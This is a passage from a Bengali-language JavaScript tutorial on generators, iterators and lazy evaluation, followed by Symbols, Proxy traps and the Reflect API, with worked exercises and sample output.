↓
yield 2
↓
pause
↓
next()
↓
yield 3
↓
pause
↓
next()
↓
done
Normal function:
function test() {
return 10;
return 20;
}
return করার পর function শেষ। কিন্তু Generator:
function* test() {
yield 10;
yield 20;
yield 30;
}
একাধিক value sequentially দিতে পারে।
Generator state মনে রাখে।
function* counter() {
let count = 1;
yield count++;
yield count++;
yield count++;
}
const generator = counter();
console.log(generator.next().value);
console.log(generator.next().value);
console.log(generator.next().value);
Output:
1 2 3
প্রতিবার state preserve হচ্ছে।
for...ofGenerator নিজেই iterable।
function* numbers() {
yield 10;
yield 20;
yield 30;
}
for (const number of numbers()) {
console.log(number);
}
Output:
10 20 30
function* numbers() {
yield 10;
yield 20;
yield 30;
}
const result = [...numbers()];
console.log(result);
Output:
[10, 20, 30]
Generator-এর ভিতরে parameters নেওয়া যায়।
function* greeting(name) {
yield `Hello ${name}`;
yield "Welcome to JavaScript";
}
const generator = greeting("Shariar");
console.log(generator.next().value);
console.log(generator.next().value);
Output:
Hello Shariar Welcome to JavaScript
next(value)এটি Generator-এর advanced feature। next() দিয়ে generator-এ value পাঠানো যায়।
function* test() {
const value = yield "Enter a value";
yield `You entered: ${value}`;
}
const generator = test();
console.log(generator.next());
console.log(generator.next(100));
Output:
{ value: "Enter a value", done: false }
{ value: "You entered: 100", done: false }
প্রথম:
generator.next()
Generator চলে:
const value = yield "Enter a value";
এখানে pause। তারপর:
generator.next(100)
এর 100 গিয়ে:
value
এর মধ্যে ঢুকে যায়।
return()Generator manually stop করা যায়।
function* numbers() {
yield 1;
yield 2;
yield 3;
}
const generator = numbers();
console.log(generator.next());
console.log(generator.return("Stopped"));
console.log(generator.next());
Output:
{ value: 1, done: false }
{ value: "Stopped", done: true }
{ value: undefined, done: true }
throw()Generator-এর ভিতরে error throw করা যায়।
function* test() {
try {
yield "Hello";
} catch (error) {
console.log("Error handled");
}
}
const generator = test();
console.log(generator.next());
generator.throw(new Error("Something went wrong"));
Output:
{ value: "Hello", done: false }
Error handled
yield*একটি generator অন্য generator-এর values yield করতে পারে।
function* numbers() {
yield 1;
yield 2;
}
function* allNumbers() {
yield* numbers();
yield 3;
yield 4;
}
for (const number of allNumbers()) {
console.log(number);
}
Output:
1 2 3 4
এটি খুব practical example।
function* idGenerator() {
let id = 1;
while (true) {
yield id++;
}
}
const generateId = idGenerator();
console.log(generateId.next().value);
console.log(generateId.next().value);
console.log(generateId.next().value);
console.log(generateId.next().value);
Output:
1 2 3 4
এখানে generator infinite। কিন্তু সমস্যা নেই, কারণ একসাথে সব generate করছে না। যখন দরকার:
next()
তখন value দিচ্ছে।
function* infiniteNumbers() {
let number = 1;
while (true) {
yield number++;
}
}
এটি theoretically infinite:
1 2 3 4 5 ... ∞
কিন্তু:
const generator = infiniteNumbers();
console.log(generator.next().value);
console.log(generator.next().value);
console.log(generator.next().value);
শুধু প্রয়োজনীয় তিনটি value তৈরি হয়েছে।
এটি Iterators/Generators-এর সবচেয়ে গুরুত্বপূর্ণ practical concept-এর একটি। Lazy Evaluation মানে: > প্রয়োজন হওয়ার আগে value তৈরি না করা। ধরো 1 থেকে 1 billion পর্যন্ত numbers। Normal array:
const numbers = [];
for (let i = 1; i <= 1_000_000_000; i++) {
numbers.push(i);
}
এখানে huge memory লাগবে। Generator:
function* numbers() {
let i = 1;
while (true) {
yield i++;
}
}
এখানে সব number memory-তে একসাথে রাখা হচ্ছে না। যখন দরকার:
generator.next();
তখন value তৈরি হচ্ছে।
ধরো আমরা শুধু প্রথম 5টি value চাই:
function* numbers() {
let i = 1;
while (true) {
yield i++;
}
}
const generator = numbers();
for (let i = 0; i < 5; i++) {
console.log(generator.next().value);
}
Output:
1 2 3 4 5
Fibonacci:
0 1 1 2 3 5 8 13 21 ...
Generator:
function* fibonacci() {
let a = 0;
let b = 1;
while (true) {
yield a;
[a, b] = [b, a + b];
}
}
ব্যবহার:
const fib = fibonacci();
for (let i = 0; i < 10; i++) {
console.log(fib.next().value);
}
Output:
0 1 1 2 3 5 8 13 21 34
function* range(start, end, step = 1) {
for (let value = start; value <= end; value += step) {
yield value;
}
}
for (const number of range(1, 10, 2)) {
console.log(number);
}
Output:
1 3 5 7 9
এটি reusable utility হতে পারে।
Class-এর সাথে Iterator combine করা যায়।
class NumberRange {
constructor(start, end) {
this.start = start;
this.end = end;
}
*[Symbol.iterator]() {
for (
let number = this.start;
number <= this.end;
number++
) {
yield number;
}
}
}
const range = new NumberRange(1, 5);
for (const number of range) {
console.log(number);
}
Output:
1 2 3 4 5
এখানে:
*[Symbol.iterator]()
একটি generator method।
Class-এর method-ও generator হতে পারে।
class UserList {
constructor(users) {
this.users = users;
}
*getUsers() {
for (const user of this.users) {
yield user;
}
}
}
const users = new UserList([
"Shariar",
"Rahim",
"Karim"
]);
for (const user of users.getUsers()) {
console.log(user);
}
Output:
Shariar Rahim Karim
| Iterator | Generator |
|---|---|
next() manually implement করতে হয় | yield ব্যবহার করা যায় |
| বেশি code লাগে | কম code |
Symbol.iterator manually লিখতে হতে পারে | generator automatically iterable |
| More control | Easier syntax |
| Low-level concept | Higher-level abstraction |
const iterator = {
next() {
return {
value: 1,
done: false
};
}
};
function* generator() {
yield 1;
}
Generator অনেক ক্ষেত্রে iterator তৈরি করা সহজ করে।
এটা অবশ্যই clear রাখতে হবে।
Iterable
│
└── Symbol.iterator()
│
↓
Iterator
│
└── next()
│
↓
{ value, done }
Generator:
Generator Function
↓
Generator Object
↓
Iterable + Iterator
অর্থাৎ Generator object সাধারণত দুটোই: > Iterable + Iterator
| Value | Iterable? |
|---|---|
| Array | ✅ |
| String | ✅ |
| Map | ✅ |
| Set | ✅ |
| Generator | ✅ |
Object {} | ❌ সাধারণভাবে |
| Number | ❌ |
| Boolean | ❌ |
এই জন্য:
for (const value of {}) {
}
❌ TypeError হবে। কারণ সাধারণ object iterable নয়।
const user = {
name: "Shariar",
age: 23,
*[Symbol.iterator]() {
yield this.name;
yield this.age;
}
};
for (const value of user) {
console.log(value);
}
Output:
Shariar 23
এখন object iterable হয়ে গেছে।
| Normal Function | Generator |
|---|---|
function | function* |
return | yield |
| একবার execute | Pause/resume |
| সাধারণত single result | Multiple sequential results |
| state execution শেষে শেষ | state preserve করে |
| lazy sequence নয় | lazy sequence তৈরি করতে পারে |
ধরো API-এর data:
/page=1 /page=2 /page=3 ...
Conceptually:
async function* fetchPages() {
let page = 1;
while (true) {
const response =
await fetch(`/api/users?page=${page}`);
const data = await response.json();
if (data.length === 0) {
return;
}
yield data;
page++;
}
}
ব্যবহার:
for await (const users of fetchPages()) {
console.log(users);
}
এটি Async Generator। এটা আমরা পরে Async JavaScript-এর সাথে আরও গভীরভাবে ব্যবহার করব।
function* numbers() {
yield 1;
yield 2;
}
async function* numbers() {
yield 1;
yield 2;
}
Async generator asynchronous data stream-এর জন্য useful। যেমন:
API pagination Database cursor Streaming data WebSocket-like data processing Large data processing
Generator useful হতে পারে যখন:
Millions of records
ID Counter Fibonacci
Generate only when needed
Page 1 Page 2 Page 3
নিজের object-কে for...of compatible করা।
প্রতিটি সমস্যায় Generator দরকার নেই। যদি:
const numbers = [1, 2, 3, 4, 5];
এতটুকুই হয়, তাহলে normal array যথেষ্ট। অযথা:
function* ...
ব্যবহার করলে code unnecessarily complex হতে পারে।
এই Chapter থেকে অবশ্যই মনে রাখবে:
Symbol.iterator
থাকে।
next()
থাকে।
{
value,
done
}
function* test() {}
yield value;
generator.next();
while (true) {
yield value;
}
yield* anotherGenerator();
async function* test() {}
Iteration Protocols এবং Generator স্টেট মেশিনের দ্রুত রেফারেন্সের জন্য সম্পূর্ণ ফ্লো ও সিনট্যাক্স সামারি:
Iterable
↓
Symbol.iterator
↓
Iterator
↓
next()
↓
{ value, done }
function* numbers() {
yield 1;
yield 2;
yield 3;
}
const generator = numbers();
generator.next(); // { value: 1, done: false }
generator.next(); // { value: 2, done: false }
generator.next(); // { value: 3, done: false }
generator.next(); // { value: undefined, done: true }
Iterators, Custom Iterables এবং Generators কনসেপ্টগুলোকে সম্পূর্ণ আয়ত্তে আনতে নিচে ৩টি লেভেলের ৯টি প্র্যাকটিক্যাল চ্যালেঞ্জের সম্পূর্ণ মডেল সলিউশন দেওয়া হলো:
Problem Requirement: একটি জেনারেটর ফাংশন generateTenToFifty() তৈরি করো যা ক্রমান্বয়ে 10, 20, 30, 40, 50 মানগুলো yield দিয়ে প্রদান করবে।
function* generateTenToFifty() {
yield 10;
yield 20;
yield 30;
yield 40;
yield 50;
}
const gen = generateTenToFifty();
for (const val of gen) {
console.log(val);
}
10 20 30 40 50
Problem Requirement: লুপের সাহায্যে একটি জেনারেটর ফাংশন countToOneTen() তৈরি করো যা 1 থেকে 10 পর্যন্ত সংখ্যা জেনারেট করবে।
function* countToOneTen() {
for (let i = 1; i <= 10; i++) {
yield i;
}
}
const sequence = [...countToOneTen()];
console.log("Generated Sequence:", sequence);
Generated Sequence: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
Problem Requirement: একটি সাধারণ অ্যারের [Symbol.iterator]() মেথড কল করে while লুপ ও next() দিয়ে ম্যানুয়ালি সব উপাদান প্রিন্ট করো।
const fruits = ["Apple", "Mango", "Banana"];
// Manually extract iterator from array
const iterator = fruits[Symbol.iterator]();
let result = iterator.next();
while (!result.done) {
console.log(result.value);
result = iterator.next();
}
Apple Mango Banana
Problem Requirement: Python-এর মতো একটি range(start, end) জেনারেটর ফাংশন বানাও যা range(5, 10) কল করলে 5 থেকে 10 রিটার্ন করবে।
function* range(start, end) {
for (let current = start; current <= end; current++) {
yield current;
}
}
for (const num of range(5, 10)) {
console.log(num);
}
5 6 7 8 9 10
Problem Requirement: একটি ইনফিনিট আইডি জেনারেটর তৈরি করো যা কল করলে USER-001, USER-002, USER-003 ফরম্যাটে প্যাডেড আইডি তৈরি করবে।
function* createUserIdGenerator(prefix = "USER") {
let id = 1;
while (true) {
const formatted = String(id).padStart(3, "0");
yield `${prefix}-${formatted}`;
id++;
}
}
const idGen = createUserIdGenerator();
console.log(idGen.next().value); // USER-001
console.log(idGen.next().value); // USER-002
console.log(idGen.next().value); // USER-003
console.log(idGen.next().value); // USER-004
USER-001 USER-002 USER-003 USER-004
Problem Requirement: একটি ইনফিনিট ফিবোনাচ্চি জেনারেটর তৈরি করে তা থেকে প্রথম 10টি ফিবোনাচ্চি সংখ্যা সংগ্রহ করে প্রিন্ট করো।
function* fibonacci() {
let current = 0;
let next = 1;
while (true) {
yield current;
[current, next] = [next, current + next];
}
}
const fib = fibonacci();
const firstTen = [];
for (let i = 0; i < 10; i++) {
firstTen.push(fib.next().value);
}
console.log("First 10 Fibonacci:", firstTen);
First 10 Fibonacci: [0, 1, 1, 2, 3, 5, 8, 13, 21, 34]
Problem Requirement: একটি paginate(items, pageSize) জেনারেটর ফাংশন তৈরি করো যা বড় অ্যারে থেকে পেজ অনুযায়ী চাঙ্ক (chunks) yield করবে।
function* paginate(items, pageSize = 3) {
for (let i = 0; i < items.length; i += pageSize) {
yield items.slice(i, i + pageSize);
}
}
const dataset = [101, 102, 103, 104, 105, 106, 107];
const pager = paginate(dataset, 3);
console.log("Page 1:", pager.next().value);
console.log("Page 2:", pager.next().value);
console.log("Page 3:", pager.next().value);
console.log("End:", pager.next().done);
Page 1: [101, 102, 103] Page 2: [104, 105, 106] Page 3: [107] End: true
Problem Requirement: একটি NumberRange ক্লাস তৈরি করো যা [Symbol.iterator]() মেথড ইমপ্লিমেন্ট করবে যাতে ক্লাসের ইন্সট্যান্স সরাসরি for...of সমর্থন করে।
class NumberRange {
constructor(from, to) {
this.from = from;
this.to = to;
}
*[Symbol.iterator]() {
for (let current = this.from; current <= this.to; current++) {
yield current;
}
}
}
const myRange = new NumberRange(1, 5);
const collected = [...myRange];
console.log("Spread from class:", collected);
Spread from class: [1, 2, 3, 4, 5]
Problem Requirement: একটি async function* fetchPages(totalPages) জেনারেটর তৈরি করো যা অ্যাসিঙ্ক নেটওয়ার্ক রিকোয়েস্ট সিমুলেট করে for await (const page of ...) দিয়ে প্রসেস হবে।
// Simulating asynchronous API page delay
const wait = ms => new Promise(res => setTimeout(res, ms));
async function* fetchPages(totalPages = 3) {
for (let p = 1; p <= totalPages; p++) {
await wait(50); // Simulated network latency
yield { page: p, data: [`Item ${p}A`, `Item ${p}B`] };
}
}
async function runStream() {
for await (const pageData of fetchPages(3)) {
console.log(`Received Page ${pageData.page}:`, pageData.data);
}
}
runStream();
Received Page 1: ['Item 1A', 'Item 1B'] Received Page 2: ['Item 2A', 'Item 2B'] Received Page 3: ['Item 3A', 'Item 3B']
JavaScript Iteration Ecosystem-এর সম্পূর্ণ মেমরি ও কনসেপ্ট কাঠামোর চূড়ান্ত চিত্র:
Iteration
│
┌──────────┴──────────┐
│ │
Iterable Iterator
│ │
Symbol.iterator next()
│ │
└──────────┬──────────┘
│
{ value, done }
Generator
│
function* / yield
│
┌──────────┴──────────┐
│ │
Pause Resume
│ │
yield() next()
│
↓
Lazy Evaluation
│
┌────┼─────┬────────┐
│ │ │ │
Large IDs Paging Streams
Data
যদি Chapter 27 থেকে শুধু ৫টা জিনিস মনে রাখতে চাও:
1️⃣ Iterable → Symbol.iterator
2️⃣ Iterator → next()
3️⃣ next() → { value, done }
4️⃣ Generator → function*
5️⃣ yield → value দেয় + execution pause করে
for...of → Iterable → Iterator → next()
JavaScript-এ অবজেক্টের স্বাভাবিক আচরণ পরিবর্তন, অপারেশন ইন্টারসেপ্ট ও কাস্টম লজিক যুক্ত করার আর্কিটেকচারাল মেকানিজমের নাম হলো Metaprogramming। এই চ্যাপ্টারে আমরা Unique Symbol Keys, Global Symbol Registry, Proxy Handler Traps (get, set, has, deleteProperty), Reflect API এবং রিঅ্যাক্টিভ ফ্রেমওয়ার্ক আর্কিটেকচার নিখুঁতভাবে শিখব।
Symbol হলো JavaScript-এর একটি primitive data type। JavaScript-এর primitive types:
String Number BigInt Boolean Undefined Null Symbol
Symbol তৈরি করা যায়:
const id = Symbol();
ধরো দুটি property একই নামের:
const user = {
id: 101
};
user.id = 202;
আগের value replace হয়ে যাবে। কিন্তু Symbol ব্যবহার করলে unique key তৈরি করা যায়।
const id1 = Symbol();
const id2 = Symbol();
console.log(id1 === id2);
Output:
false
প্রতিটি Symbol সাধারণত unique।
ধরো একটি বড় application-এ অনেক developer কাজ করছে। একজন লিখল:
user.status
আরেকজনও লিখল:
user.status
Property collision হতে পারে। Symbol:
const internalStatus = Symbol();
user[internalStatus] = "active";
এতে একটি unique key তৈরি হলো।
const id = Symbol();
console.log(typeof id);
Output:
symbol
Symbol তৈরি করার সময় description দেওয়া যায়।
const id = Symbol("userId");
console.log(id);
Output:
Symbol(userId)
Description মূলত debugging-এর জন্য helpful।
const id = Symbol("userId");
console.log(id.description);
Output:
userId
const a = Symbol("id");
const b = Symbol("id");
console.log(a === b);
Output:
false
যদিও description একই:
id
তবুও Symbol দুটো আলাদা।
const userId = Symbol("userId");
const user = {
name: "Shariar",
[userId]: 101
};
console.log(user.name);
console.log(user[userId]);
Output:
Shariar 101
খেয়াল করো:
[userId]
computed property syntax ব্যবহার করা হয়েছে।
এটা ভুল:
user.userId
কারণ userId এখানে Symbol variable নয়। সঠিক:
user[userId]
Symbol property private নয়। এটা খুব গুরুত্বপূর্ণ।
const secret = Symbol("secret");
const user = {
name: "Shariar",
[secret]: "Hello"
};
Object.keys() করলে:
console.log(Object.keys(user));
Output:
["name"]
Symbol key এখানে আসে না। কিন্তু:
console.log(Object.getOwnPropertySymbols(user));
Output:
[Symbol(secret)]
অর্থাৎ: > Symbol property hidden from some normal enumeration, কিন্তু private/security mechanism নয়।
Reflect.ownKeys()String এবং Symbol—দুই ধরনের own keys পেতে:
const id = Symbol("id");
const user = {
name: "Shariar",
[id]: 101
};
console.log(Reflect.ownKeys(user));
Output-এর ধারণা:
["name", Symbol(id)]
| String Key | Symbol Key |
|---|---|
"id" | Symbol("id") |
| collision হতে পারে | unique |
Object.keys()-এ আসে | Object.keys()-এ আসে না |
| সাধারণ property | special property key |
| সাধারণভাবে enumerable | Symbol property-ও enumerable হতে পারে, কিন্তু Object.keys-এ আসে না |
Symbol.for()এখন একটি গুরুত্বপূর্ণ বিষয়।
const a = Symbol("user");
const b = Symbol("user");
console.log(a === b);
Output:
false
কিন্তু:
const a = Symbol.for("user");
const b = Symbol.for("user");
console.log(a === b);
Output:
true
কারণ Symbol.for() Global Symbol Registry ব্যবহার করে।
Symbol.for() কীভাবে কাজ করে?Symbol.for("app.user")
প্রথমবার তৈরি হলে registry-তে রাখে। আবার:
Symbol.for("app.user")
করলে একই Symbol পাওয়া যায়। Mental model:
Symbol("user")
↓
নতুন unique Symbol
Symbol.for("user")
↓
Global Registry
↓
একই key হলে একই Symbol
Symbol.keyFor()Symbol.for() দিয়ে তৈরি Symbol-এর key বের করতে:
const userSymbol = Symbol.for("user");
console.log(Symbol.keyFor(userSymbol));
Output:
user
Symbol.for() বনাম Symbol()Symbol() | Symbol.for() |
|---|---|
| নতুন Symbol তৈরি করে | Registry থেকে Symbol নেয় |
| প্রতিবার unique | একই key → একই Symbol |
| Global registry নয় | Global Symbol Registry |
Symbol.keyFor() কাজ করে না | Symbol.keyFor() কাজ করে |
JavaScript কিছু built-in Symbol দিয়েছে যেগুলো language behavior customize করতে সাহায্য করে। Examples:
Symbol.iterator Symbol.toStringTag Symbol.toPrimitive Symbol.toStringTag Symbol.hasInstance Symbol.asyncIterator Symbol.species Symbol.isConcatSpreadable
সবচেয়ে গুরুত্বপূর্ণ কয়েকটি আমরা দেখব।
Symbol.iteratorChapter 27-এ আমরা এটা দেখেছি। এটি কোনো object-এর iteration behavior define করতে পারে।
const numbers = {
*[Symbol.iterator]() {
yield 10;
yield 20;
yield 30;
}
};
for (const number of numbers) {
console.log(number);
}
Output:
10 20 30
এখানে:
Symbol.iterator
object-টাকে iterable করেছে।
Symbol.toStringTagObject-এর Object.prototype.toString() result customize করা যায়।
const user = {
[Symbol.toStringTag]: "User"
};
console.log(Object.prototype.toString.call(user));
Output:
[object User]
Symbol.toPrimitiveObject primitive value-তে convert হওয়ার সময় behavior customize করা যায়।
const money = {
value: 100,
[Symbol.toPrimitive](hint) {
if (hint === "number") {
return this.value;
}
return `$${this.value}`;
}
};
console.log(+money);
console.log(`${money}`);
Output:
100 $100
এটি advanced metaprogramming-এর example।
Symbol.hasInstanceinstanceof behavior customize করা যায়।
class EvenNumber {
static [Symbol.hasInstance](value) {
return typeof value === "number" && value % 2 === 0;
}
}
console.log(2 instanceof EvenNumber);
console.log(3 instanceof EvenNumber);
Output:
true false
এখানে instanceof-এর behavior custom করা হয়েছে।
Practical JavaScript-এ তোমার জন্য সবচেয়ে গুরুত্বপূর্ণ:
1. Unique property keys 2. Avoid property collisions 3. Symbol.iterator 4. Well-known Symbols 5. Metaprogramming
Proxy হলো JavaScript-এর একটি powerful feature যেটা কোনো object-এর operations intercept এবং customize করতে পারে। সহজ ভাষায়: > Proxy হলো object-এর সামনে একটি "middle layer"। Mental model:
Code ↓ Proxy ↓ Target Object
const user = {
name: "Shariar"
};
const proxy = new Proxy(user, {});
console.log(proxy.name);
Output:
Shariar
এখানে:
user = target proxy = wrapper
Proxy তৈরি:
new Proxy(target, handler)
Example:
const user = {
name: "Shariar"
};
const handler = {
get(target, property) {
console.log(`Reading: ${property}`);
return target[property];
}
};
const proxy = new Proxy(user, handler);
console.log(proxy.name);
Output:
Reading: name Shariar
get Trapget trap property access intercept করে।
const user = {
name: "Shariar",
age: 23
};
const proxy = new Proxy(user, {
get(target, property) {
console.log("Accessing:", property);
return target[property];
}
});
console.log(proxy.name);
console.log(proxy.age);
Output:
Accessing: name Shariar Accessing: age 23
set TrapProperty set করার সময় intercept করা যায়।
const user = {
name: "Shariar"
};
const proxy = new Proxy(user, {
set(target, property, value) {
console.log(`Setting ${property} = ${value}`);
target[property] = value;
return true;
}
});
proxy.name = "Ripon";
Output:
Setting name = Ripon
এটি খুব practical।
const user = {
name: "Shariar",
age: 23
};
const proxy = new Proxy(user, {
set(target, property, value) {
if (property === "age") {
if (typeof value !== "number") {
throw new TypeError("Age must be a number");
}
if (value < 0) {
throw new RangeError("Age cannot be negative");
}
}
target[property] = value;
return true;
}
});
proxy.age = 25;
console.log(proxy.age);
Output:
25
কিন্তু:
proxy.age = -10;
Error:
RangeError: Age cannot be negative
has Trapin operator intercept করা যায়।
const user = {
name: "Shariar"
};
const proxy = new Proxy(user, {
has(target, property) {
console.log(`Checking: ${property}`);
return property in target;
}
});
console.log("name" in proxy);
Output:
Checking: name true
deleteProperty Trapdelete operation intercept করা যায়।
const user = {
name: "Shariar",
age: 23
};
const proxy = new Proxy(user, {
deleteProperty(target, property) {
console.log(`Deleting: ${property}`);
return delete target[property];
}
});
delete proxy.age;
console.log(user);
ownKeys TrapObject.keys()/reflection-related key retrieval customize করা যায়।
const user = {
name: "Shariar",
age: 23
};
const proxy = new Proxy(user, {
ownKeys(target) {
return ["name"];
}
});
console.log(Object.keys(proxy));
Output:
["name"]
এখানে age hide করা হয়েছে enumeration থেকে।
Proxy দিয়ে property access log করা যায়।
const user = {
name: "Shariar",
age: 23,
city: "Dhaka"
};
const loggedUser = new Proxy(user, {
get(target, property) {
console.log(
`GET → ${String(property)}`
);
return target[property];
},
set(target, property, value) {
console.log(
`SET → ${String(property)} = ${value}`
);
target[property] = value;
return true;
}
});
console.log(loggedUser.name);
loggedUser.age = 24;
এটি debugging বা development tooling-এ useful হতে পারে।
apply TrapProxy শুধু object-এর property operation intercept করে না। Function-এর invocation-ও intercept করতে পারে।
function greet(name) {
return `Hello ${name}`;
}
const proxy = new Proxy(greet, {
apply(target, thisArg, args) {
console.log("Function called");
return target(...args);
}
});
console.log(proxy("Shariar"));
Output:
Function called Hello Shariar
construct Trapnew operation intercept করা যায়।
class User {
constructor(name) {
this.name = name;
}
}
const ProxyUser = new Proxy(User, {
construct(target, args) {
console.log("Creating User");
return new target(...args);
}
});
const user = new ProxyUser("Shariar");
Output:
Creating User
সব trap মুখস্থ করার দরকার নেই। Important:
| Trap | Intercepts |
|---|---|
get | property read |
set | property write |
has | in |
deleteProperty | delete |
ownKeys | keys |
apply | function call |
construct | new |
এখানে একটি গুরুত্বপূর্ণ limitation আছে। Private class fields:
#password
Proxy দিয়ে সাধারণ property-এর মতো intercept করা যায় না।
class User {
#password = "12345";
}
Private field-এর access language-level private mechanism দ্বারা controlled। তাই Proxy-কে security boundary হিসেবে ব্যবহার করা উচিত নয়।
একটি Proxy temporarily disable/revoke করা যায়।
const user = {
name: "Shariar"
};
const { proxy, revoke } = Proxy.revocable(user, {});
console.log(proxy.name);
revoke();
console.log(proxy.name);
শেষ access-এর সময় error হবে।
Reflect হলো JavaScript-এর built-in object যেটা অনেক object operation-এর standard methods দেয়। Examples:
Reflect.get()
Reflect.set()
Reflect.has()
Reflect.deleteProperty()
Reflect.ownKeys()
Reflect.construct()
Reflect.apply()
Reflect.get()সাধারণ:
user.name
Reflect:
Reflect.get(user, "name");
Example:
const user = {
name: "Shariar"
};
console.log(
Reflect.get(user, "name")
);
Output:
Shariar
Reflect.set()const user = {};
Reflect.set(user, "name", "Shariar");
console.log(user.name);
Output:
Shariar
Reflect.has()const user = {
name: "Shariar"
};
console.log(
Reflect.has(user, "name")
);
Output:
true
এটি conceptually:
"name" in user
এর মতো।
Reflect.deleteProperty()const user = {
name: "Shariar",
age: 23
};
Reflect.deleteProperty(user, "age");
console.log(user);
Reflect.ownKeys()String + Symbol keys:
const id = Symbol("id");
const user = {
name: "Shariar",
[id]: 101
};
console.log(
Reflect.ownKeys(user)
);
এটি দুই ধরনের key দিতে পারে:
"name" Symbol(id)
এটি খুব গুরুত্বপূর্ণ। Proxy handler-এ manually:
target[property] = value;
করার পরিবর্তে:
Reflect.set(target, property, value);
ব্যবহার করা অনেক ক্ষেত্রে safer এবং cleaner।
Recommended pattern:
const user = {
name: "Shariar"
};
const proxy = new Proxy(user, {
get(target, property, receiver) {
console.log(`GET: ${String(property)}`);
return Reflect.get(
target,
property,
receiver
);
},
set(target, property, value, receiver) {
console.log(
`SET: ${String(property)} = ${value}`
);
return Reflect.set(
target,
property,
value,
receiver
);
}
});
console.log(proxy.name);
proxy.name = "Ripon";
Code ↓ Proxy ↓ Trap ↓ Reflect ↓ Target Object
অর্থাৎ:
Proxy = intercept Reflect = perform standard operation
Metaprogramming মানে এমন code লেখা যা program-এর behavior/structure-এর ওপর কাজ করতে পারে বা customize করতে পারে। JavaScript-এ:
Proxy Reflect Symbols Property Descriptors
এসব metaprogramming-এর tools।
Proxy দিয়ে property পরিবর্তন block করা যায়।
const settings = {
theme: "dark",
language: "en"
};
const readOnlySettings = new Proxy(settings, {
set() {
throw new Error(
"Settings are read-only"
);
}
});
console.log(readOnlySettings.theme);
readOnlySettings.theme = "light";
শেষ line-এ error হবে।
const user = {
name: "Shariar",
role: "user",
salary: 50000
};
const safeUser = new Proxy(user, {
get(target, property) {
if (property === "salary") {
if (target.role !== "admin") {
return "Access denied";
}
}
return Reflect.get(target, property);
}
});
console.log(safeUser.name);
console.log(safeUser.salary);
Output:
Shariar Access denied
⚠️ এটি demonstration। Real application security-এর জন্য server-side authorization অবশ্যই প্রয়োজন।
Proxy modern frontend architecture-এর কিছু concept বুঝতে সাহায্য করে। ধরো:
const state = {
count: 0
};
Proxy দিয়ে change detect:
const reactiveState = new Proxy(state, {
set(target, property, value) {
console.log(
`${property} changed`
);
return Reflect.set(
target,
property,
value
);
}
});
reactiveState.count = 1;
Output:
count changed
এই ধরনের concept reactive systems/framework internals বোঝার ক্ষেত্রে গুরুত্বপূর্ণ।
Symbol দিয়ে internal-like metadata রাখা যায়:
const metadata = Symbol("metadata");
const user = {
name: "Shariar",
[metadata]: {
createdBy: "system"
}
};
const proxy = new Proxy(user, {
get(target, property) {
if (property === metadata) {
return Reflect.get(target, property);
}
return Reflect.get(target, property);
}
});
এখানে Symbol unique key হিসেবে কাজ করছে।
Proxy powerful হলেও সব জায়গায় ব্যবহার করা উচিত নয়। কারণ proxy layer:
property access
↓
trap
↓
target
অতিরিক্ত abstraction তৈরি করতে পারে। তাই performance-sensitive code-এ অপ্রয়োজনীয় Proxy ব্যবহার avoid করা ভালো।
ভুল ধারণা: > Symbol মানেই private property। ❌ না। Symbol property discover করা যায়:
Object.getOwnPropertySymbols(obj)
অথবা:
Reflect.ownKeys(obj)
তাই Symbol: > Unique property key, security/privacy mechanism নয়।
Symbol("id") একই হবে ভাবাconst a = Symbol("id");
const b = Symbol("id");
console.log(a === b);
Output:
false
একই description ≠ same Symbol।
Proxy বানালেই original object protected হয় না।
const user = {
name: "Shariar"
};
const proxy = new Proxy(user, {});
user.name = "Ripon";
Original target সরাসরি পরিবর্তন করা সম্ভব।
set Trap-এ Boolean Returnset trap-এর ক্ষেত্রে সাধারণত success indicate করতে boolean return করতে হয়।
set(target, property, value) {
target[property] = value;
return true;
}
Proxy দিয়ে:
salary access block
password property hide
করলেও client-side JavaScript-এর ওপর security নির্ভর করা উচিত নয়। Real security:
Frontend ↓ Backend Authorization ↓ Database
const id = Symbol("id");
obj[id] = 100;
Symbol.for("id");
Symbol.iterator
new Proxy(target, handler);
get(target, property)
set(target, property, value)
Reflect.get()
Reflect.set()
Reflect.has()
Reflect.deleteProperty()
Reflect.ownKeys()
Proxy → intercept Reflect → perform operation Symbol → customize/identify
Metaprogramming-এর ৩টি মূল স্তম্ভের সংক্ষিপ্ত ব্যবহারিক সিনট্যাক্স সামারি:
const s = Symbol("desc");
const g = Symbol.for("app.id");
Symbol.keyFor(g); // 'app.id'
obj[Symbol.iterator] = ...;
const proxy = new Proxy(target, {
get(target, prop, receiver) {
return Reflect.get(...arguments);
},
set(target, prop, val, receiver) {
return Reflect.set(...arguments);
}
});
Reflect.get(target, prop);
Reflect.set(target, prop, val);
Reflect.has(target, prop);
Reflect.deleteProperty(target, p);
Reflect.ownKeys(target);
Symbol, Proxy Traps এবং Reflect API সম্পূর্ণ আয়ত্তে আনতে নিচে ৩টি লেভেলের ৯টি প্র্যাকটিক্যাল চ্যালেঞ্জের সম্পূর্ণ মডেল সলিউশন দেওয়া হলো:
Problem Requirement: একটি userId সিম্বল তৈরি করো এবং অবজেক্টের প্রোপার্টি হিসেবে ব্যবহার করে তা কনসোলে অ্যাক্সেস করো।
const userId = Symbol("userId");
const user = {
name: "Ripon",
[userId]: 1001
};
console.log("Name:", user.name);
console.log("Symbol ID:", user[userId]);
console.log("Object Keys:", Object.keys(user)); // Symbol excluded
Name: Ripon Symbol ID: 1001 Object Keys: ['name']
Problem Requirement: একই বিবরণ (description) দিয়ে দুটি পৃথক Symbol('id') তৈরি করে প্রমাণ করো যে তারা কখনো সমান হয় না।
const id1 = Symbol("id");
const id2 = Symbol("id");
console.log("id1 === id2:", id1 === id2);
console.log("id1 description:", id1.description);
console.log("id2 description:", id2.description);
id1 === id2: false id1 description: id id2 description: id
Problem Requirement: Symbol.for('app.user') দিয়ে একটি গ্লোবাল সিম্বল তৈরি করে Symbol.keyFor() দিয়ে তার রেজিস্ট্রি কি রিট্রিভ করো।
const globalSym1 = Symbol.for("app.user");
const globalSym2 = Symbol.for("app.user");
console.log("Global Symbols Same?", globalSym1 === globalSym2);
console.log("Registry Key:", Symbol.keyFor(globalSym1));
Global Symbols Same? true Registry Key: app.user
Problem Requirement: একটি অবজেক্ট তৈরি করো যাতে [Symbol.iterator] মেথড ইমপ্লিমেন্ট করে সরাসরি for...of দিয়ে উপাদান পাওয়া যায়।
const collection = {
items: ["JavaScript", "TypeScript", "Node.js"],
*[Symbol.iterator]() {
for (const item of this.items) {
yield item;
}
}
};
for (const tech of collection) {
console.log(tech);
}
JavaScript TypeScript Node.js
